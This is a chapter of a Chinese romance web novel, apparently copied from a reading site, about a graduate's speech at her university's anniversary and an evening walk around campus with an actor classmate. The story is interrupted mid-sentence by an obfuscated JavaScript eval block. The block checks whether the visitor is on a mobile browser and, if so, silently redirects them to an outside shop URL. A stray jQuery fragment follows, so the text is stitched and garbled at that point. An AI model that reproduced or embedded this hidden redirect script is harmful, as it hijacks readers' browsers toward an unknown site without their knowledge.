尚溪大学的校庆，来得比往年更早一些。
秋末的风已经带上了些许寒冬的气息，银杏叶已经掉落完，变成光秃秃的树枝，秋叶落在尚大主校道的青石板上，被来来往往的脚步碾得粉碎。
校园里到处挂起了红底金边的横幅，空气里混杂着新刷的油漆味，以及某种说不清道不明的，属于“盛大”的躁动。
温靳晨原本是不想来的，生怕到时候遇到一些不认识的人过来搭讪。
她坐在沈拙别墅顶楼的天台藤椅上，腿上搁着笔记本电脑，屏幕亮着，却半天没敲下一个字。
手机震动了第三次，常教授的名字跳出来，她盯着看了很久，才接起。
“晨晨啊，校庆你一定要来。”常教授的声音通过听筒传过来，带着些许不容拒绝的温和，“你是咱们金融学院这几年最出色的毕业生之一，学院那边点名让你作为代表发言。讲讲毕业后的故事就行，不用太正式。”
温靳晨把墨镜往上推了推，遮住眼睛：“常老，我现在的资历去参加校庆，似乎不太好吧，毕竟咱们学校出名的人那么多，不缺我一个。”
“我知道你那点小心思，还有怕碰到小砚他们觉得尴尬。”常教授叹了口气，语气软下来，“，小砚那边我问过了，他还在国外来不了，你在尚大拿过的奖、写过的论文、毕业短短几年就取得如此优秀的成果，这些都是你自己挣的。更何况老师真觉得很骄傲，你的资历不必那些老家伙差，来吧，就当给自己一个交代。”
电话挂断后，温靳晨盯着远处的竹海出了很久神。
沈拙从楼下上来，手里端着两杯冰美式，把其中一杯搁在她手边。他看了她一眼，心里大概清楚温靳晨为什么事烦心，只淡淡道：“去吧，常老的面子，你一向给，更何况我也去。”
她“嗯”了一声，没有反驳。
只是有点好奇，沈拙去尚大干嘛，他不是从来都不喜欢参加这种活动吗？
校庆那天，尚大新建的室内万人礼堂座无虚席。
顾景鑫、沈拙、许昕韬都到了，作为知名校友坐在前排。
顾景鑫穿着一件极简的灰色高领，外面套了件黑色大衣，半张脸隐在鸭舌帽的阴影下。他看上去有些疲惫，却仍维持着体面的姿态。
沈拙则更随意些，银白夹克随意搭在肩上，手里转着一支笔，偶尔和许昕韬低声说两句，唇边带着若有若无的笑。
温靳晨作为发言人上台时，礼堂里短暂安静了一瞬。
她今天穿了件极利落的白色衬衫，外面是深灰色的西装外套，长发简单挽在脑后，戴着那副标志性的黑框眼镜。
台上的灯光打下来，衬得她脸色有些苍白，却依旧冷艳。
她没有讲太多豪言壮语，只简短地回顾了自己在尚大的几年，从刚入学时的茫然，到考研的时候遇到贵人的帮助，到研究生阶段熬夜改论文的日子，再到毕业后独自旅行、写小说、做自媒体的琐碎。
“我曾经以为，毕业就是一场彻底的告别。”她的声音平静，透过话筒传遍整个礼堂，“可后来发现，有些东西会跟着你走很远。比如常老改论文时的红色标准，比如宿舍楼道里凌晨两点的灯，比如那些曾经并肩走过的人。”
台下有人鼓掌。
她目光扫过前排，看见顾景鑫微微抬起头，狭长的凤眼里映着灯光，看不清情绪，沈拙则朝她轻轻点了点头。
孟砚归真的没有来，他们从分手那一次开始，再也没见过，似乎命运注定要把他们分开那般彻底。
典礼结束前，校长特意宣布了一件事：孟氏集团捐赠了一座全新的教学楼，命名为“砚归楼”，说是“对母校的一份未能到场的歉意和过去的栽培”。
礼堂里瞬间响起更热烈的掌声。
温靳晨站在侧幕，听着那名字被一遍遍念起，指尖微微收紧。
她并不在意。
真的不在意。
可心底某个角落，还是轻轻颤了一下，像是一根细小的刺，被不小心碰到，疼得短暂，却清晰。
她很快把那点情绪压下去，走下台，准备直接离开。
顾景鑫却在礼堂后门堵住了她。
“温老师。”他叫得随意，却带着几分认真，“今天不忙的话，陪我在学校里走走？”
温靳晨停下脚步，抬眼看他：“逛什么？你不怕被人爆出去，然后我们两个人的绯闻又是满天飞？”
“不怕啊，想走走以前没走过的地方。”顾景鑫把鸭舌帽往下压了压，声音有些低，“我读本科的时候，大半时间都在外面拍戏，没课的时候，基本都在宿舍里面跟沈拙他们打游戏，校园里很多地方，我其实没怎么好好看过。”
她本想拒绝。
她一向是低精力的人，尤其在这种盛大的场合之后，只想立刻回到安静的地方，把自己关起来好好地独处。
可顾景鑫看着她，眼里没有强迫，只有一种近乎温和的坚持。
“就当帮我完成一个愿望？”他补充道，嘴角微微弯了一下，“我请你喝奶茶，尚大后街那家，以前我跟他们经常去的那家，现在还在。”
温靳晨沉默了几秒，最终还是点了点头，“行。”
他们没有走主校道，而是绕到了图书馆后面的旧径。
这条小路很少有人走，两边是高大的梧桐树，叶子还没落尽，阳光透过枝叶洒下来，在地面投下细碎的光斑。
风一吹，光斑就跟着晃动，像是一地流动的碎金。
顾景鑫走在她身侧，保持着不远不近的距离。
“你刚才发言的时候，”他忽然开口，“提到宿舍楼道里的灯，你住过宿舍吗？”
温靳晨“嗯”了一声：“大一住过半年，后来因为江烬的原因，我就搬出去了，研究生阶段直接在外面。”
“难怪。”顾景鑫低笑了一声，“你看起来就不像会在宿舍里熬夜聊天、吃泡面的人。”
她侧过头看他：“你呢？你不是常年在外拍戏吗？怎么跟室友关系还那么好？”
顾景鑫停下脚步，从大衣口袋里摸出一包烟，却没有点，只是捏在手里，随即又塞回口袋。
“因为出门就容易被围。”他语气随意，却带着一点自嘲，“本科那会儿，我已经接了几部戏，最让人印象深刻的还是出演的第一部电影，斩获影帝吧！在学校里不想那么显眼都难。每次从宿舍楼出来，门口总有人等着。阿拙也是，那时候的他是半退役上的大学，偶尔也会被堵住。许昕韬和阿归他们不在意这些，有时候就帮我们挡一挡，或者直接把我们从后门弄出去。”
他顿了顿，继续道：“后来读研，我们又都留在本校，七年室友，抬头不见低头见，有些事，说多了就熟了，熟了就成了自己人。”
温靳晨听着，脚步慢慢放缓，心里开始有点羡慕他们四个人的感情。
她，好像都把自己的过去给了江烬和孟砚归，在校的时候还真没交到什么好朋友，就连殷照都是她的高中同学。
不过那些都不是事，当你能站到一定高度，那身边的人就多了。
风吹过，梧桐叶沙沙作响。
“不羡慕是假的。”她忽然说，声音很轻，“我的大学同学，有些人的名字，我现在都快记不清了，住在宿舍的时间屈指可数，连年级聚餐都很少去。现在想想确实错过了太多风景。”
顾景鑫转过头，看着她。
阳光落在她侧脸上，黑框眼镜后的杏眼平静，却藏着一点极淡的、几乎看不见的落寞。
“那现在补上，也不晚。”他道。
温靳晨没有回答，只是继续往前走。
他们走过旧图书馆，走过曾经的教学楼，走过那个据说考试前最灵的许愿池。
顾景鑫偶尔会停下来，指着某个角落说：“这里以前有个自动贩卖机，我半夜回来经常买水。”
“那边那棵树，还是阿拙一起陪着我们打球，又因为晚上打训练赛第二天犯困，直接靠着睡着了。”
温靳晨听着，偶尔“嗯”一声，偶尔问一句。
走着走着，她忽然觉得，有些东西在悄悄改变。
不是戏剧性的，也不是轰轰烈烈的。只是两个曾经互相试探、互相疏离的人，在这条很少有人走的旧径上，慢慢把彼此的过去摊开了一点。
顾景鑫讲到研究生那年，有一次自己发烧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887594|212607||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，是孟砚归半夜开车送他去医院，沈拙参加完比赛就赶到医院照顾他。
讲到许昕韬总是操心他们的感情生活，却自己一直单身。
讲到毕业那天，四个人在宿舍楼顶喝了一夜的酒，天亮的时候，谁都没说“以后常联系”，却都知道，联系会一直在。
温靳晨很少说话，只是安静地听。
她想起自己的大学。
大一刚入学时，她还试图融入过。
可家里的事、江烬的事，像两道无形的墙，把她和同龄人隔开。
后来她习惯了独来独往，习惯了用冷漠把自己保护起来。
不管是本科或者研究生的毕业照上，她只和常教授合过影，其他同学的名字，确实渐渐模糊了。
“你呢？”顾景鑫忽然问，“有没有什么特别想再走一遍的地方？”
温靳晨想了想，“没有。”
顾景鑫察觉到她有些失落的情绪，他看了眼不远处的行政楼，拉着她的手腕就往前去。
“你……”她还没反应过来，整个人的思绪就被他打乱。
行政楼前的广场空荡荡的。
校庆的热闹集中在礼堂和主校道，这里显得格外安静。
风吹过，旗杆上的校旗轻轻晃动。
他们在行政楼前站了很久，直到太阳开始西斜，才慢慢往回走。
路过后街那家奶茶店时，顾景鑫兑现承诺，请她进去坐了一会儿。
店还是旧模样，老板换了人，菜单却没怎么变，他先询问温靳晨有没有什么想喝的，听她说不挑自己就点了店里面的招牌。
温靳晨接过杯子，指尖触到冰凉的杯壁，忽然问：“你今天带我走这些地方，是因为孟砚归没来？”
顾景鑫端着杯子的手顿了一下。
他抬眼看她，眼里闪过一丝复杂，随即又恢复平静。
“不完全是。”他诚实道，“也有一部分是因为你。刚才典礼上，你听到‘砚归楼’的时候，眼神变了一下，虽然很快就遮过去了，但我看见了。”
温靳晨没有否认。
她低下头，看着杯子里的冰块缓缓融化。
“我不在意。”她说，“真的不在意了，只是有点像被提醒了一次。提醒我，有些路，已经彻底分叉了。”
顾景鑫看着她，忽然笑了一下。
那笑容很淡，却带着一点他自己都没察觉的温柔。
“那现在这条路，”他抬手指了指窗外的校园，“我们可以慢慢走。”
温靳晨抬起头，和他对视。
夕阳的余晖从窗外斜斜地照进来，落在他们两人之间。空气里有淡淡的奶茶香气，有旧木头的味道，还有某种说不清的、刚刚萌芽的默契。
她没有回答，只是端起杯子，轻轻抿了一口。
甜味在舌尖蔓延，心里的那道墙似乎又薄了一点。
走出奶茶店的时候，天已经完全暗了下来。
校园里的灯一盏盏亮起，把树枝的影子拉得很长，顾景鑫把鸭舌帽重新戴好，侧头看了她一眼。
“下次校庆，”他忽然道，“如果还在，再一起走一遍？”
温靳晨脚步微顿。
她转过头，看着他。
夜色里，他的侧脸被路灯照得有些模糊，却依旧清晰。
“好。”她最终说。
声音很轻，却足够清晰。
他们一前一后走在回停车场的路上，没有再多说话。
可空气里那种原本紧绷的、试探的距离，似乎在不知不觉间，松动了一点。
不是突然的靠近，也不是戏剧性的和解。
只是两个曾经各自带着伤口的人，在这条曾经错过的校园小路上，慢慢把对方的轮廓看得更清楚了一些。
而尚溪的夜风，依旧温柔地吹着。
可静谧昏暗的地下停车场，开始了今夜的第一声异响。
不是车胎碾过减速带的闷响，也不是引擎启动的轰鸣。
而是那些隐秘破碎的声音，从最深处角落的那辆黑色的车里传出，伴随着的还有“嘎吱”的声音，似是一辆好端端的车出现了故障那般……